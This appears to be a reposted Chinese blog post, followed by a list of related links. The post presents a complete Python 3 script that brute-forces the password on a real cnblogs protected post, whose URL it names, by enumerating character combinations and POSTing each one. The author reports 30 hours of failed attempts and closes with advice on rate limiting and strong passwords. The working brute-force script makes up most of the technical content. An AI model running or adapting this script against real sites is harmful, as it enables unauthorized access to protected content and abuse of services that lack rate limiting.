python3实现暴力穷举博客园密码


Posted in Python onJune 19, 2016

我之前想写路由器的密码暴力破解器,我手上只有极路由,发现极路由有安全限制,只能允许连续10密码错误,所以我改拿博客园练手。

博客园的博客有个功能是给博文设置一个密码,输入正确的密码才能看到文章的内容。经过测试发现这个密码验证功能,既没有验证码也没有提交频率的限制,

要写这个针对博客园的密码暴力破解器模型会非常简单,很好实现。

比如打开这个博文,会显示一个密码输入框:http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html

我之前没有写过这样的程序,也没有看过别人写这类功能的代码,就按我自己所理解的想法来写一个最简单的密码破解器,不要多线程,不要分布式,

这个程序会有这么两个部分:

1、我需要一个生成器,可以不停的生成所有可能的密码组合,比如生成a,b,c,aa,bb,cc,ab,ac...abc,cba...abcd...等等所有的密码组合。

2、我需要不停的提交密码,直到认为密码正确,记录密码,退出程序。

-_-!为什么使用生成器?

python2中range() 不是一个生成器,当你range(N),N为一个很大的数时...python就会爆炸!!!哈哈哈..

写细致的博客太消耗时间和心力,我这里不写具体的分析过程了,后面直接上代码,如果看不懂,查相关关键词就可以,毕竟基础教程性的文章和内容非常之多。

tqdm是一个python进度条库,requests是一个简单优雅的http库,

product是python3的标准库itertools下的函数,可以用生成 (a,b,c...) (c,b,a...)这样的序列,用''.join连接起来就得到了"abc"这样的一个密码。

"""
python3暴力穷举密码
2016年6月09日 04:39:25 codegay
"""
from time import strftime
from itertools import product
from time import sleep
from tqdm import tqdm
import requests
from requests import post

#密码生成器
def psgen(x=4):
  iter = ['1234567890',
      'abcdefghijklmnopqrstuvwxyz',
      'ABCDEFGHIJKLMNOPQRSTUVWXYZ',

      ]
  for r in iter:
    for repeat in range(1,x+1):
      for ps in product(r,repeat=repeat):
        yield ''.join(ps)

def fx(url):
#把URL中的readauth字符删掉,替换成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的格式,因为这个才POST的目标地址。
  url = url.replace("/post/readauth?url=", "")
  for ps in tqdm(psgen(6)):
    try:
      rs=post(url,data={'tb_password':ps},allow_redirects=1)
      if rs.url == url: #如果提交密码后,返回的url得到为"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的形式,那么认为猜到正确的密码了。
        with open("resut.csv","a+") as f:
          f.write('密码破解成功结果为:,'+ ps + ',' + strftime("%c") + ',' + url+'\n')
        break
    except:
      sleep(1)
      pass

url='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'
fx(url)

最后,这个程序运行速度大约是每秒提交6次密码,我运行了30个小时,也不过是迭代几十万次,并没有能把密码破解出来,没有产生实质性的危害。

总结:

1、密码验证的地方适当增加一些防止暴力破解的手段。

2、仍然有必要使用复杂的密码提高安全度。虽然这样的一个简单的程序并没有什么卵用。

Python 相关文章推荐
Python的Flask框架中Flask-Admin库的简单入门指引
Apr 07 Python
Python简单调用MySQL存储过程并获得返回值的方法
Jul 20 Python
Python安装使用命令行交互模块pexpect的基础教程
May 12 Python
python抓取网站的图片并下载到本地的方法
May 22 Python
python 将有序数组转换为二叉树的方法
Mar 26 Python
Python增强赋值和共享引用注意事项小结
May 28 Python
Python中请不要再用re.compile了
Jun 30 Python
Python机器学习算法库scikit-learn学习之决策树实现方法详解
Jul 04 Python
python用类实现文章敏感词的过滤方法示例
Oct 27 Python
Xadmin+rules实现多选行权限方式(级联效果)
Apr 07 Python
Python使用Selenium实现淘宝抢单的流程分析
Jun 23 Python
Python使用正则表达式实现爬虫数据抽取
Aug 17 Python
在阿里云服务器上配置CentOS+Nginx+Python+Flask环境
Jun 18 #Python
Python中使用装饰器来优化尾递归的示例
Jun 18 #Python
举例讲解Python面向对象编程中类的继承
Jun 17 #Python
浅谈python为什么不需要三目运算符和switch
Jun 17 #Python
python运行时间的几种方法
Jun 17 #Python
从局部变量和全局变量开始全面解析Python中变量的作用域
Jun 16 #Python
实例讲解Python中global语句下全局变量的值的修改
Jun 16 #Python
You might like
PHP 处理TXT文件(打开/关闭/检查/读取)
2013/05/13 PHP
ThinkPHP模板中数组循环实例
2014/10/30 PHP
php批量删除cookie的简单实现方法
2015/01/26 PHP
php利用事务处理转账问题
2015/04/22 PHP
CI框架扩展系统核心类的方法分析
2016/05/23 PHP
PHP + plupload.js实现多图上传并显示进度条加删除实例代码
2017/03/06 PHP
laravel通过创建自定义artisan make命令来新建类文件详解
2017/08/17 PHP
laravel清除视图缓存的代码
2019/10/23 PHP
MSN消息提示类
2006/09/05 Javascript
js类中获取外部函数名的方法
2007/08/19 Javascript
javascript版2048小游戏
2015/03/18 Javascript
JavaScript中清空数组的三种方式
2017/03/22 Javascript
原生js实现密码输入框值的显示隐藏
2017/07/17 Javascript
浅谈Node.js CVE-2017-14849 漏洞分析(详细步骤)
2017/11/10 Javascript
微信小程序实现红包雨功能
2018/07/11 Javascript
Nuxt使用Vuex的方法示例
2019/09/06 Javascript
python安装教程 Pycharm安装详细教程
2017/05/02 Python
python编程嵌套函数实例代码
2018/02/11 Python
python通过ffmgep从视频中抽帧的方法
2018/12/05 Python
selenium+python自动化测试之环境搭建
2019/01/23 Python
Python获取命令实时输出-原样彩色输出并返回输出结果的示例
2019/07/11 Python
Python 获取numpy.array索引值的实例
2019/12/06 Python
Python3 hashlib密码散列算法原理详解
2020/03/30 Python
CSS3实现线性渐变用法示例代码详解
2020/08/07 HTML / CSS
详解HTML5中的元素与元素
2015/08/17 HTML / CSS
美国汽车零部件和配件网站:CarParts
2019/03/13 全球购物
大学生职业生涯设计书
2014/01/02 职场文书
竞选学生会主席演讲稿
2014/04/24 职场文书
纪检干部现实表现材料
2014/08/21 职场文书
中学生学习保证书
2015/02/26 职场文书
2015年信息宣传工作总结
2015/05/26 职场文书
联欢会开场白
2015/06/01 职场文书
爱护公物主题班会
2015/08/17 职场文书
一篇文章弄懂Python中的内建函数
2021/08/07 Python
MySQL数据库⾼可⽤HA实现小结
2022/01/22 MySQL
frg-100简单操作(设置)说明
2022/04/05 无线电